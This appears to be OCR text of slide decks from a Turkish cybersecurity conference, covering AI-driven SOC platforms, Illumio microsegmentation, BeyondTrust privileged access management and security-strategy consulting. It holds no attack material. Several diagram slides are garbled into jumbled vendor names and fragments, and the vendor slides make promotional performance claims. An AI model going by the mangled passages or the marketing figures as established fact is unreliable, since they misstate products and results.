300% 25 min  2-3 days

Increase in Median time to Median time to
attacks in 2025 exfiltrate data using Al resolve (MTTR)

Sources: : Unit 42 Global Incident Response Report, 2. 2025 Global Incident Response Report, Palo Alto Networks 3. XSIAM customer interviews and product telemetry




How Can The “Modern” SOC Possibly Work?

What one blog proposed as the “Modern” SOC...

|
|
Al AUGMENTED RESPONSE :
|

A

Al-SOC ANALYST (T1-T2)
Dropzona Al, prophet, RadiantSecurity, Simbian,
CULMINATE, Hunters, INTEZER, RELIAQUEST, Oevtar
Al, AIRMDR, exaforce [24]7.ai, torq, Salem, Seven

AI-SOC ANALYST (T2-T3)
COMMAND ZERO, arcanna Al,
ANDESITE, conifers.ai, STRKE

READY, Legion Al

|
|
|
| E STORAGE, DETECTION AND
| SOURCES g ANALYTICS LAYER ‘ & DECISION LAYER
Separate tools | ———— e R 1 Siloed
for d etectlon | Crowdstrike, i 'E DATA Splunk, exabeam_,ArcSight, DEVO, elastic security :l Analytl CS
| 1] -@entalOne, Microsoft l PIPELINE labs, microsoft, Google SecOps LEGACY SOAR :I
I 1S ?fib‘-lTSNZ'dR: Splunk SOAR, Palo Alto Networks, |
I NEPTIWARRK ; E TJTTAD%];,’ SWIMLANE, PRg::IOEF;I'sAI,SIRP, Google |
| ache 5 onum NEXT- XDR MULTI
Separate data Networks Zscaler |1 @ 1| ® | Separate, labor-
parate | & GEN PLATFORMS || -DATA | parate, .
repositories | 3 SIEM Crowdstike, || SIEM N intensive
[ | IDENTITY L. 02 DATA panther, SentinelOne, ANVILOG HYPER AUTOMATION NEXT - || .
| Okta, Cyberark ﬁ ROUTING sekoia, Palo Alto Networks IC, Palo GEN SOAR || automatlon
| % HUNTERS, HUNTERS Alto Torq, tines, blink, n8n, Automatic, mindflow, :I
[ . AUGURIA, Networks, MITHRIL SECURITY, Bricklayer, AiStrike |
(| EmaL | ANOMAL — e
H Microsoft 1 i
Manual, static | o : observo.i Lo p— . No clear next
. [ : LOUD DATA PLATFORM )
correlation rules | oo L | REATNTEL Snowfake, i, Chronc, HUMAN IN THE LOOP (HITL) steps
! Wiz ; FEEDS e ot oSt SOC TIER 1-3 ANALY§J
I _
|
|
|
|
|
|




0 XSI.\M

Capabilities that Drive Further Integration

Exposure Email
ITDR TIP ASM Menegome S MSIAM
Replace Multiple SOC Tools
SIEM SOAR XDR CDR NDR
Cortex XDL
Data Normalization | Agentic Al | Automation
o o \ <[>
g Oo'(Doo @ :{:
Endpoint Network & SASE Cloud Identity Open Ecosystem,

Any Source

Cortex XSIAM: Al-Driven Security Operations

Unified SecOps
One platform. One user experience

Al-powered protection
Best-in-class 100% detection in MITRE

Industry-leading automation
1,000+ automation playbooks

Al-driven response
Up to 98% faster MTTR

% paloalto’ ' 0 corTEX




Cortex XSIAM: The #1 Al-Driven SOC Platform

100% detection, Endpoint security 8 5
lowest false positives leader
of Fortune 100
[ Gartner use Cortex
Autonomous SOC XDR 0
leader 2x leader £|57d. /?
according to a

m Forrester study
Modern SIEM NG-SIEM Solutions

leader leader 1 1 PBlday

(& Omdia

Ingested by Cortex customers



Green Bay Packers: Winning results

BEFORE XSIAM AFTER XSIAM
Egg‘gsA ::?lg:;ed 0 54 £ A U ere’s one factor above
- %ﬁat keeps us coming

Median Time "~ back, and it's the vision. |

to Resolution 42 min 40 sec think that if you’re not
moving forward, you’re

Tools 8 1 moving backwards, and
Palo Alto Networks is
always n'l‘t\ﬁiﬁ;q” forward.”

cmconnEs 1 35 cases 540/0 1 20 hours ;ﬁ:cr:‘t)cl)ﬁ:slil

Resolved every day with more investigated alerts of labor saved per week Green Bay Packers
Cortex XSIAM than the previous MDR with Cortex XSIAM
vendor
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SIBER SAVUNMANIN f% BULOSALS)
OTOMASYON ILE
EVRIMI

ZULKUF CETIN
SOC Manager
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CYBER DEFENSE CENTER % SIBER GUVENLIK
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Red
MxDR SOAR Team

CTI SOC

XSIAM



ONCEDEN GORMENIN GUCU %‘ﬁ?mﬁ[}m
BULUSMASI

Tehditleri .
: Baglantilari Kur Hizla Yanit Ver
Tahmin Et

« CTI e Otomasyon * MDR

- Davranis e Al Destekli * Ogrenen
Analizi Risk Onceligi Savunma

» Erken uyari Dongusu

sinyalleri



SOITRON"
SIBER GUVENLIK

BULUSMASI

EKOSISTEM

Hedef “Az alarm gérmek” degil, “Onemli alarm”lari énceliklendirmek

OTOMASYON, ZEKA Karar kalitesini arttirmak

VE SUREC
Dogru Anda, Dogru Karar

Olciilebilir Performans

Raporlama sadece metrik degil, kanit

Her olaydan 6grenen slrec
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EKOSISTEM = GORUNURLUK %SABERGUVENUK
BULUSMASI

Tum Katmanlar Tek Gorus Alaninda Birlestirmek

7.17m @

Playbook runs

Veriyi Gor, Davranisi Anla

Automated VS Manual Actions

Kurumlar Arasi Bilgi Transferi
P...8.03m 99.99%
Man... 431 0.01%

Ayni Saldir Vektorune
Kolektif Dayaniklilik




P SOITRON"
ROI VE EFOR DONUSUMU % SEGOVERK
BULUSMASI

Daha az stres, daha fazla odak

Metrik Geleneksel SOC Automated SOC  Al-Driven SOC

MTTR 4 saat 5 dk alti

Yanlis Pozitif %35 %5 alti P,

Alarm Basina Sure 15 dk 2 dk

Analist Verimliligi %60 %90+

Maliyet diisirme degil, zaman, kalite, hiz ve dogruluk demek
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- SOITRON"
MIKROSEGMENTASYON f%%ﬁﬁ%‘ﬁ“&*i
VE OTESI

MURAT OZ

Security Solutions Architect
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Credit: Cameron Mol

Gentlemen, you need to put more armour-plate
where the holes aren't because that's where the holes
were on the airplanes that didn't return - Abraham
wald 1942.
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COMPANY SNAPSHOT
PROTECTING LEADER IN THE FORRESTER WAVE
20 4OM workloads c c Faiformass s
of the For organizations of all sizes, g
Fortune 100 from Fortune 100 to small o
business
FUNDING
$583M

Backed by leading investors including Andreesen
Horowitz, Franklin Templeton and Thoma Bravo

MARKET LEADER

Hilistone Networks «

#1 Market Share in the IDC . 48

artner * k& * ok -
Market Share report for PEOrINSIGtS.  sescrmemnen o
M |C rosegm e ntatl O n based u'na:ii\;a\ldatad offering

Weaker strategy P Stronger strategy

Market presence®

.@@@@
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WHAT IS SEGMENTATION?




SOITRON"
SIBER GUVENLIK
% BULUSMASI
SEGMENTATION IS HARD AND GETTING HARDER

c Poor App Visibility e ggmf’e'zx Security

e Heterogenous ° Require Large Effort
Environments for Implementation



ILLUMIO PLATFORM - WORKLOAD COVERAGE

Mainframe / Midrange

(o] 000 ler i I'
o ooo iSeries

g Sbme
208

® citnx

Network
modules

Physical servers

P
soLaris

ORACLE’

El
EIE

EXADATA

Virtual data center / 1aaS

i
VM|

A

VDI

[ [T
S |

Stateful
host firewall

Es;
B0V

Agentless or
Containerized
VEN

SOITRON"
SIBER GUVENLIK

BULUSMASI

Cloud native/ laaS

N O
S D

Agentless
cloud
security
controls



Decoupling security segmentation from network architecture

%0 W

Network
Segmentation Architecture

An “Architectural Shift” Is Needed

=] illumio
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ARCHITECTURE - FAST, SIMPLE & SCALABLE

Application
000
oy D,
&m En Workload & flow data Flexible labeling
o s label
S Server labels
App. ERP
Real-time -3 Env: Prod
. BU: IT
adaptive TI_; .J :Ielt_adata Location: BOS
) i olic

Role: Contractor-VDI
Location: Remote-East

@ % . BU: Finance
Instructions

The VEN programs the host firewalls according to policies

=l (iptables for Linux or Windows Filtering Platform)
@ % =1

VDI

e L L L& | | |
Virtual Enforcement Note |" WY Policy Compute Engine
(VEN) N (PCE)
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ILLUMIO AGENT ARCHITECTURE BULUSMASI

Workload Operating System
Automated Deployment:

*  No Reboot, No Downtime, No aggregators per sets of
workloads

*  Secure registration _
i i AIX gracLe

* SCCM, Ansible, Satellite, InTune, Terraform etc Applications Solarie
User Space

Uses OS Built-In Firewall

* Notinline to traffic

* Not a network adapter

* No kernel modification / shim

4
4 I
i |
i |
* Process based rules on Windows 0S 1 1
i 1 Kernel Space
Fails Secure & Tgmper Prgtecting : : % Network Stack
* Rules always in place in OS stateful FW 1 |
 No performance impact i 1
«  ~1% additional CPU/RAM I :
« 250 bits per second bandwidth 1 i
* Tamper Resistant :_______’ 1 % 0S Stateful
* Policy correctly maintained/alerted | Firewall
* Agent tampering respawn/alerted NIC :

* Protected from uninstall / stop * I

- E{ S

€ =—— [ o o

Safe, scalable

agent architecture
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600+ WORKLOADS, 1.2M FLOWS
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TURNS INTO
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YOU CAN'T SEGMENT WHAT YOU CAN’'T SEE

Database

HRM | Staging | Amazon

Ordering | Development | US Point-of-Sales | PCI | US




CONTAINER DEPLOYMENT ARCHITECTURE ﬁﬁ'gﬁfﬁm

BULUSMASI
Container Cluster
Developers
! @ Kubernetes 0 OpenShift Application

8 g ——— Dependency
’g‘ Appl  App2 App3  App5  App6 <ss—Mep
CI/CD, docker,

kubecti, helm, oc,

etc.
A
]
v
Service-level
Information I'_’ _i
Master Worker 1 Worker 2 ;::::::::::I 4 |
Host-level — <

Information

Enforcement
Node
(C-VEN)

Container - f
v vtial "’; Policy Compute Kubelink
t« Engine (PCE)




illumio

lllumio Insights

Al Cloud Detection and Response
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THE ERA OF BREACH CONTAINMENT BULUSILS

CONTAIN

Attacker

PROTECT / RESPOND / MITIGATE

SEGMENTATION




THE ERA OF BREACH CONTAINMENT

High Value
Target

Attacker

IDENTIFY / DETECT

INSIGHTS

Attacker

i

SOITRON"
SIBER GUVENLIK
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CONTAIN

High Value
Target

PROTECT / RESPOND / MITIGATE

..
| PROTECT/ RESPOND/ MITIGATE__

SEGMENTATION



88Home / % Insights

“l N . .
f5 Malicious IP Threats -
88 Dashboard
Servers & Endpoints . -

© server e Top10 @ Subscriptions ~  with Malicious IP Flows

& Cloud

® Ransomware Protecti... A 012345678901
¢ Insights ~

[B Insights Hub == aws-org-0011223344

@ Risky Traffic

B

B Known and Unknown ... )

© account-id-654321789012
@ Cross Account Traffic
B Traffic to Country A azure-tenant-abcdef123456
& Cloud Configurations

@ Shadow LLMs

Subscriptions From External IPs Flowsghew FlowsPre
[ Resource Traffic

> A 012345678.. 167.94.146.20 +3 52 GB 54 GB
B Explore ~

> = aws-org-00.. 167.94.146.20 +2 1.45 GB 2 GB
U Policies ~

> ™= aws-id-098.. 167.94.146.20 + 20 MB 40 MB
@ Servers & Endpoints v

> O account-id-.. 167.94.146.20 +2 55.09 KB 52.1 KB
& Cloud v
° > A azure-tenan.. 167.94.146.20 +3 50 KB 30 KB
~a Access v
8 Infrastructure v
&} Settings v
© Troubleshoot v
® Support v

@ Traffic Query Results  Traffic Inbound X

Flows Bytes
175K L1k
67K 500

5QK 1K
40K 430

32K +20

AFLowsl
1268
1268
1268
1268

T2 GB

Q Search

Top 15 Roles Communicating with Malicious IPs

[ 850K GlobalCatalog
0§ 100K LoAP
4 | 70K NetBackup

[ 68K Mcafee
165K Trendmicro
[ 50K MongoDB
l 49K Commvault
§ 47K iscsi

Top 10 Malicious Ports & Protocols

Port 80 TCP
Port 8080 TCP
Port 53 UDP
Port 22 TCP
Port 25 TCP
Port 25 TCP

Port 25 TCP

SOITRON"
SIBER GUVENLIK

BULUSMASI

- RE

Flows Bytes

§ 45K Zabbix
0 43K DomainController
0 42K sAP Hana
| 30K Teradata
0 29K NFS
J 22K Puppet
18K Solr

Flows Bytes

200 10
150 +4
80 12

30 44
29 15
28 10

20 Lo
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00 2
- 88 Home ¢ Insights

- Q Search ®K RN
E% Resource Traffic
88 Dashboard
- Insights [E0 ~ Resource Id: /subscriptions/6ce15ab6-8bcb-4a01-ac2b-98c21f307df1/resourceGroups/testdrive/providers/Microsoft.Compute/virtualMachines/crm-... * 8 Last 24 hours compared to Previous 24 hours v @
@ Insights Hub
@ Risky Traffic ] erm-cfgmgrO1-dev Virtual Machine ® Dynamic Quarantine %) Restore Resource
@ Resource Traffic
@ Malicious IP Threats Resource Summary Resource Traffic Map
(3 Shadow LLMs
@ External Data Transfer Resource Name crm-cfgmgrO1-dev
@ DORA Compliance Resource Id  /subscriptions/Gce15ab6-8bc... @
& Cloud v Cloud A Azure Unkndivn IPs
Region westus -
@ Ucenses (B0
Category # Compute
Resource Type Virtual Machine
Resource State © Succeeded
Account Name Azure-SE7S PN
Account Id  Bcel5ab6-8bcb-4a01-ac2b-9...

Last Updated 11/03/2025 at O1:16:06 l:_l Mm Machine

Resource Group testdrive cmrclgmgrii-dev om-ch01-dev

Private IP Addresses

192.168.1.49 b l:_l

Public IP Addresses + pos-web01-dev

Cloud Tags

role  Puppet
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5 STEPS TO IMPLEMENT
A SECURITY SEGMENTATION
STRATEGY



STEP 1: GET THE RIGHT TOOLS

e

Application
Dependency

Mapping

0

Policy
Management

Policy
Enforcement

SOITRON"
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The Right
Tools Should:

Work with
multiple
environments,
platforms, and
infrastructure.

Allow for easy
testing,
validation,
and policy
updates.

Be designed with
automation and
scale in mind.
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STEP 2: DECIDE WHAT TO SEGMENT FIRST

Prioritize:

* You can't segment everythin
* Value of data g ything

at once.
* Compliance/audit requirements . Start where you get the
* Risk to the business greatest return.

* Application owner relationship

* Related active projects
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STEP 3: MAP YOUR APPLICATION ENVIRONMENT

« The map
should be
real-time
and
accurate.




STEP 4: TEST AND ENFORCE POLICY

* The right solution should:

* Enable policy modeling
* Provide visual feedback

e Adapt policy to changes in the environment

SOITRON"
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Segmentation
alters the
communications
of your
applications.

Test policy before
you enforce it.
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STEP 5: DECIDE WHAT TO SEGMENT NEXT

* The Right
Solution
- Identify the next application priority. Should:
* Segment according to the needs - Support phased
deployment.

of the business.
*  Support a mix
* Progress to enforcement at your of modeling

and
own pace. enforcement.
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ATOMIC ANT EFFECT

SERKAN SALCIN

Senior Regional Sales Manager
BeyondTrust

&

SOITRON”
SIBER GUVENLIK

BULUSMSI






Vulnerabilities
& Exploits

Identity
Attack
Vectors
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@I BeyondTrust

O
/"~ BeyondTrust Platform
O\O/O Protect paths to privilege 1’ 7OO+ Employees

with an integrated,
y identity-first solution 3 1 Countries

® _\\ : //_ Technology Pioneers
N/~ ngltage of innovation 2003 Founded
with 75+ patents
and commitment to
R&D
Headquarters
Global Presence Atlanta, GA | USA
~ : anta
M i 20k customers in 100+ ’
GartneI: FORRESTER acmega countries and extensive
A PAM Magic Quadrant™ PIM Wave Leader Best Identity Management partner network Global Offices
Leader 2020-2025 2018 - 2025 Solution 2024

Americas, EMEIA, APJ

5&2 Customer-Driven

95%+ gross retention and

sCUppingercolie GIGAOM exceptional customer Privately Held

ANALYSTS support and success .
Francisco Partners &

PAM Leadership  Enterprise Secrets  |TpR Leadership Leader & Fast Mover in Clearlake Capital
Compass Leader  Management Compass Leader the GigaOm Radar for
2020-2024 Compass Leader 2024 CIEM 2025

2025

Serkan Salcin - Senior Regional Sales Manager - ssalcin@bevondtrust.com



The BeyondTrust
Platform

® Password Safe
Gain visibility and control of
privileged credentials and secrets

Endpoint Privilege Management
Enforce least privilege and achieve
compliance across Windows,
macOS, and Linux

Privileged Remote Access
Manage and audit employee
and vendor remote access

Privilege
Management

Remote
Access

Identity Security

Remote Support
Securely access and support any
device or system in the world

Active Directory Bridge
Extend and manage Unix/Linux
authentication and group policies

Entitle
Enable just-in-time access with

automated provisioning workflows Identity Security Insights

Gain one holistic view of identities and access across
your IT estate, from a single interface

CLOUD | HYBRID | ON-PREMISES | OT

Serkan Salcin - Senior Regional Sales Manager - ssalcin@bevondtrust.com



lal BeyondTrust

PAM Market

Leader

Gartner

Peer Insights
Customers’
Choice 2024

Remote Desktop
Software 2024

Serkan Salcin - Senior Regional Sales Manager - ssalcin@bevondtrust.com

Gartner

2025 Magic Quadrant™
for PAM

ABILITY TO EXECUTE

Figure 1: Magic Quadrant for Privileged Access Management

BeyondTrust
e @ CyberArk
ARCON @
Savi @ Delinea
ynt @
ManageEngine
Segura @ L
@ One Identity
Keeper Securi
; L @ WALLIX
Netwrix @
StrongDM @
COMPLETENESS OF VISION > As of October 2025 © Gartner, Inc

Gartner




lal BeyondTrust

THE FORRESTER WAVE"
a r e Privileged Identity Management Solutions

Q32025 Customer feecback: O (©)

Strong
e a e r Contenders Performers Leaders
E 3

swuppingercole  KORRESTER

PAM Leadership Compass PIM Wave 2025
Leader 2024
Strength
of offering One Identity O
OVERALL
-
m
>
BRITIVE MANAGEENGINE U
KEEPER SECURITY SsH m
SYTECA SENHASEGURA
WHITESWAN EMPOWERID x
MY1LOGIN SAVIYNT
[EIMDAL 1 l [ BEVgJBDEmSKT
IMPRIVATA J I I f_DEI.INEA
ARCON
CONDUCTORONE ON‘E"i?Jle:TTV O mmm
NETWRIX KRON TECHNOLOGIES
BROADCOM BRAVURA SECURITY
SECTONA
CHALLENGER >

Strength of strategy

Serkan Salcin - Senior Regional Sales Manager - ssalcin@bevondtrust.com




References - Turkiye
Password Safe | Privileged Remote Access | Endpoint Privileged Management | Remote Support
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References - Global Customers and Partners

Password Safe | Privileged Remote Access | Endpoint Privileged Management | Remote Support

Deloitte. ICNITIAN tjxms SOLUTIONS OCyberlAM INCRAM (5 cueramt T,

HCLTech

v CX ./ sofichoice Westcon 7% & Mekt Eﬁ?%ﬂﬁ% B_c_:_gl__R_:El; &) synetis A
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i ¥ World Wid e CYBeERYsoLVE .l . R %
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Th
fiserv. parmrer Emirates ¥X St BEST

FEDERJ\L CREDIT UNION o TORONTO
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n SCHWAR
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Serkan Salcin - Senior Region N @

ional Sales Manager - ssalcin@beyondtrust.com

STRIBLING
EQUIPMENT




Complimenta ry v" 30 mins easy setup
Identity Security v Visibility within 24 hrs.

Assessment v Bonus: 30 days access, threat
monitoring & detection

Check out: beyondtrust.com/assessment
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Chief Consulting Officer




ONCELIKLE... “STRATEJi” TAM OLARAK NEDIR? SOITRON
BULUSMASI
Business Strategy Military Strate
And [ # = a5
JOr?[ (A== - .
Belirsizlik kosullari Savasta askeri
altinda nihai hedefe operasyonlari ve
ulasmak icin yapilan hareketleri planlama

genel plan. ve yonetme sanati.



BASARILI BiR
SIBER
GUVENLIK
STRATEJISI
'iCIN NEYE
IHTIYACINIZ
VAR?
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NEYE IHTIYACINIZ VAR? SIBER GUVENLIK

BASARILI BiR SIBER GUVENLIK STRATEJISI ICIN %\SOITRON*
BULUSMASI

Dogru Cerceve Segimi /4
COBIT S

-1SO 27k

- NIS, Regional Cyber Security Act T

- NIST CSF (Cyber Security Framework) Security/Cyb
er Security

- CIS Controls Frame;work

- MITRE ATT&CK® Framework i i

- Zero Trust framework




YAKLASIMIMIZ NEDIR

Guvenlik olgunluk
seviyenizi hem
surecler hem de
teknoloji bakis
acisindan her bir
kontrol alaninda
Olcuyoruz.

Duzeltici onlemlerin
uygulanmasina
yonelik oncelikli

Onerilerle
desteklenmis bir
guvenlik stratejisi ve
yol haritasi
olusturuyoruz.

SOITRON"
SIBER GUVENLIK
BULUSMASI

Cx0 duzeyinde butce,
kapasite planlamasi
ve strateji
savunuculugu
konularinda size
yardimci oluyoruz.




. . . . . . SOITRON®
SIBER GUVENLIK STRATEJISI - ALANLAR VE MODULLER %ﬁﬁg\ﬁkﬂi
1] Yénetici Ozeti
2] Siber Givenlik Strateji Alanlari e
o 9 alanin detayl tarifi I
o Genel olarak mevcut Siber Guvenlik olgunluk seviyeleri (CMMI tabanli)
3] Bulgularin ve Risk Seviyeleri Ortiisimiiniin Tarifi
O Her bir secilen alan igin bulgular ve maliyet-fayda ceyrekleri
4] Canliya Alma Yolharitasi
5] [OPSIYONEL] Kritik/Segilen bulgular icin RFI

oomam

Securty smmsamet & srateg

5D e ety S 318 AOAT -t SAAI B
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DEGERLENDIRME ALANLARI

ALAN

ACIKLAMA

Risk ve Varlik Yonetimi

Mevcut durumda devrede olan ve muhtemelen ileride hayata gecirilecek olan
uygulamalara/sistemlere iliskin risk ve varlik yonetimi ile ilgili politikalar, surecler,
organizasyon ve araclar.

is Sureklilig

BT Hizmetlerinin strekliligini (erisilebilirligini) saglayan politikalar, strecler,
organizasyon ve mimari.

Kimlik ve Erisim Yonetimi

BT hizmetlerine erisimin kontrolline yonelik politikalar, strecler ve araclar.

Guvenli Gelistirme

Yazilim gelistirme yasam dongusu icerisinde bilgi ve siber glivenlik prensiplerine uyum
saglayan politikalar, slirecler, organizasyon ve araclar.

Guvenlik Operasyonlari

BT operasyonlari icerisinde bilgi ve siber glivenlik uygulamalari saglayan politikalar,
surecler, organizasyon ve araclar.

Bilgi Sistemleri Glvenligi

BT glivenligi perspektifinden BT sistemlerinin politikalari, mimarisi ve teknolojileri.

Uc Nokta Givenligi

Uc nokta cihaz glivenligini saglayan politikalar, slirecler, organizasyon ve (hem
donanim hem de yazilim acisindan) teknolojiler.

Ag Guvenligi Mimarisi

BT guvenligi perspektifinden bilisim teknojilerine ait ag varliklarinin politikalari,
mimarisi ve teknolojisi.

Gulvenlik Olaylarina
Midahale / SOC

Olasi BT glivenlik olaylarina reaksiyon verme yetenegini saglayan politikalar, strecler,
organizasyon ve araclar.
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* Ucnokta GUvenligi

Implement Endpoint
Detection & Response
(EDR) solution

XXX Antivirus is installed on some selected, but not all endpoints (workstations &
servers). Standard signature-based AV is not able to detect targeted or zero-day
attacks (due to its unknown signatures). At the same time, it does not support
automatic remediation, forensic analysis or, for example, automatic quarantine and
disconnection of equipment from the network and prevention of lateral spread of

malicious code.
R7.xx

We recommend using modern E/X/DR technology with sandboxing on
workstations, servers, mobile phones and tablets.

Investment: XX EUR, XX MDs
Operations: XX EUR/year, 0,2 FTE

Technology: CrowdStrike, SentinelOne, Palo Alto Cortex XDR, Cisco Secure
Endpoint, Checkpoint Harmony Endpoint




MALIYET - ETKi GEYREKLERI

Measures
implementation difficulty
(approx. 3 years TCO)

High
(~ 500 k EUR)

Medium
(~ 50 k EUR)

Low
(~5k EUR)

Measures
implementation difficulty
(approx. 3 years TCO)

SOITRON"
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L ]
RX.XX
No security event monitoring

High
(~ 500 k EUR)
Oth High Priority &
er
[ ]
Effect R RX.XX °
o [ Priv. accounts segreg.
RX.XX RX.XX RX.XX Bree RXOX
IP planning / overview only There is no Web applications not actively e  DCFirewal
registered manually, DNS on Mobile Device protected (no WAF & LB & Anti-  RXJ ot clustered
Medium  domain controllers, DHCP Management DDaS protection) Vuln. &  (SPOF)
(~ 50 k EUR) decentralized ° Patch mgm.
RX.XX R RX.XX
o No Brand Protection nor Cyber Ineuffici .t ctwork
Thgre sna Threat Intelligence (CTI) services nsutticient n ) wor
centralized LogMan segmentation
[ ] {DC, branches)
Low RX.XX
i i There are EOL (End Of Life)
C t Qu I Ck WI ns systems in the environment
Osts .
RX.XX
Low VPN lacking additional form of
(~5kEUR) authentication (MFA)
. RX.XX
tevel of risk No incident response plans

Low [x-x} Medium lx.x] _

Level of risk
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CRM

Running

Security P8.2: SIEM - IBM Qradar onboarding (R8.02)
rF 3 Incident
Response

ent response Training (R8.01)

Network P7.2: N rk zone concept, microsegmentation (
Architecture

Securky P7.3: POC DDI - DNS/DHCP/IPAM P7.4: POC DNS Security
Endpoint P6.2: EDR on Servers and Mobile Devices (R6.01) - SentinelOne P6.3: MDM for Endpoints

Security

Information & i C67NF.

System

Security FREEZE

task) (R4.08)
Secure T4.1: Security task) (R4.01)

Operations
P4.1: Vulnerability & Patchmanagement (R4.04, R4.05) | T4.3: Vulnerability & Patchmanagement (R4.04, R4.05) — Tenable.io/Sat.?

Secure T3.3:

Deve! v

of safety req after the end of the project (continuous task) (R3.02)
T3.2: Secure Policy ( task) (R3.04)

P2.1: IAM - Identity & Access Management — IMPLEMENTATION PHASE (R2.01, R.2.03, R.2.04)

Access
Management

2
P2.2: PAM - Privileged Access Management + Privileged Accounts Segregation (R2.02, R4.06) — -

Risk and P1.2: PCI-DSS GAP Analysis (R1.04)

Project
Management




OLGUNLUK SEViYESI DEGERLENDIRMESI

* “Olan” (As Is) olgunluktan “Olacak” (To Be) olgunluga kadar

Characteristics of the Maturity levels

Focus on process
improvement

Level 4 Processes measured
uantitatively Managed| and controlled

Processes characterized for the

organization and is proactive.
(Projects tailor their processes from
organization's standards)

Level 3

Defined

Processes characterized for projects
and is often reactive.

Processes unpredictable,
poorly controlled and reactive

Capability Maturity Model Integration (CMMI).
Developed at Carnegie Mellon University (CMU).

SOITRON"
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: : I

2022

2022



https://en.wikipedia.org/wiki/Carnegie_Mellon_University

| SR
MALIYET PLANLAMASI BULUSMAS

* Yatirim, Operasyon ve insan Kaynag

Yillar A/G A/G Maliyeti Yatinm Maliyeti isletme Maliyeti FTE Kaynak
2025 125 A/G aa,500 $ cc,000 $ eee,000 $ 3.6
2026 151 A/G bb,500 $ dd,000 $ fff,000 $ 6.13
2027 0 A/G 0% 0% 0,000 $ 6.13
xxx,000 $ yyy,000 $ 2,222,000 $ xxx,600 $

TOPLAM 3 Yil: qq,q99,600 $
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KAPASITELER VE ROLLER BULUSMASI

i Chief
Chief )
B Security DevSecOps SecOps Systems Network
Role | Information ] i i . .
) Officer Engineer Engineer Administrator Administrator
Officer (CIO)
(cso)
Description
|dentification, assessment, response and monitoring of information security risks. C AR C C - -
Planning and execution of information security strategy. R AR C C I |
Preparation, updates and enforcement of information security policies. C AR C C I |
Design, build and operations of physical security measures. C AR | C | | Responsible
Design, build and execution of security awareness programs and security trainings. C AR R R | | m:’mmlnmw’
Design, build and operations of information security related technologies. R AR R R R R in?:‘:::’:,,m,smmm,
Monitoring of identity & access management policies enforcement on information systems. C A R R I | HiRoes M SRR s arveent
Consulted
Design, build and execution of security procedures throughout the software development lifecycle. C A R C - - Anyone who can tell me more about this task?
Any stakehokders already identified”
Enforcement of security principles within information technology change management. C A C R R R Informed
Design, build and enforcement of security hardening principles on information technologies. C A R R R R ‘&TZZTL‘&Z‘&.T;:JZ’;;‘:;,
Monitoring and remediation of information technology vulnerabilities (including penetration testing). C A R R R R
Monitoring and reaction to detected security events. C A R R C C
Preparation, testing and execution of incident response plans. R AR R R R R
Audit of information security function. I - - - -
FTE allocation 2022 - 0,92 0,37 0,56 0,33 0,31

2023 - 0,85 0,90 2,27 0,31 1,16

2024 - 0,81 0,85 2,63 0,60 1,03

2025 - 0,81 0,80 1,53 0,30 0,50




RFI ORNEKLERI

5.2 RFI - R7.01 - Implement Endpoint Detection & Response (EDR)
Solution

Type / brand of the offered component and manufacturer (to be completed by the
participant):

Vendor / Manufacturer:

Typ

Genel

functionalities /

ral requirements

The proposed solution should be based on a
modular architecture that allows the
individual protection compenents to be
switched on. so that it can be combined with
existing security at endpoints.

The offered solution meets / does
not meet (to be completed by the
participant)

Including an explanation of how the
assignment is fulfilled

Central administration of security rules and
work with logs.

Configure a security policy through a GUI
interface that can be connected using an
encrypted protocol.

Ability to define administrator roles.

Indexing of logs with the possibility of fast
"free text” searching.

Work with security logs, especially filtering
and searching logs. exporting to a file,
defining your own permanent filters.

The proposed solution must allow the
administrator to create and manage logical
groups across multiple functional (AD)
groups.

The administrator must be able to manage
the policy at the user and group level.

Sp

Software requirements

The proposed solution has the ability to
integrate with Active Directory.

End users must not be able to control or
change settings nor security policies, even
with local administrator rights.

Software or agents installed on user stations
must not require local administrator rights to
run or update.

Hardware requirements

Requl

Functionality of correlation of logs. analysis
and management of security events with
predefined views/queries and reports.

fic requirements

The proposed solution should support
Windows 8.1 Update 1 (32-bit a 64-bit).
Windows 10 (32-bit a 64-bit). Windows
2008 R2 (64-bit), Windows 2012, Windows
2012R2. Windows 2016. Windows 2019,
MAC 0S.

irements for integration, reporting and alerting

Ability to integrate with client’s SIEM
solution.

Ability to create user-definable reports
(based on logs and security events).

End users must not be able to bypass
security policies. even if they have local

IEEER 55/106

Must support a tool for defining and
generating reports.

Jrup.AMEER] 62/108
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. . . Lo BULUSMASI
SIBER GUVENLIK STRATEJINIZIN MEVCUT

HALI NE DURUMDA?

* Gercek Siber Glvenlik durumunuzun “oldugu gibi” halini
biliyor musunuz?

» Siber Glvenligin sirekli iyilestirilmesi ve risklerin azaltiimasi
icin uzun vadeli (~3 yil) bir planiniz/yol haritaniz var mi?

» Siber Guvenlik projelerinize hangi girdilere gore karar veriyor,
Ooncelik veriyor ve butgelendiriyorsunuz?
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SIBER GUVENLIK STRATEJISINDEN

NE BEKLEYEBILIRSINiZ?

 Mevcut BIT giivenlik durumuna iligkin tarafsiz ve biitiinsel bir
degerlendirme alabilirsiniz.

« BIT giivenlik risklerini ve bunlarin azaltiimasina yénelik ¢6zim
Onerilerilerini incelersiniz.

» Kapasiteleri ve maliyetleri ele alarak, projeleri
Onceliklendirebilirsiniz.

* Guvenlik projelerinizi ydnetim kurulu ve CxO seviyesinde savunmak
icin gerekli“cephane”ye sahip olursunuz.

* Bu danigsmanlik hizmeti bir ISO denetimi veya bosluk analizi degildir.
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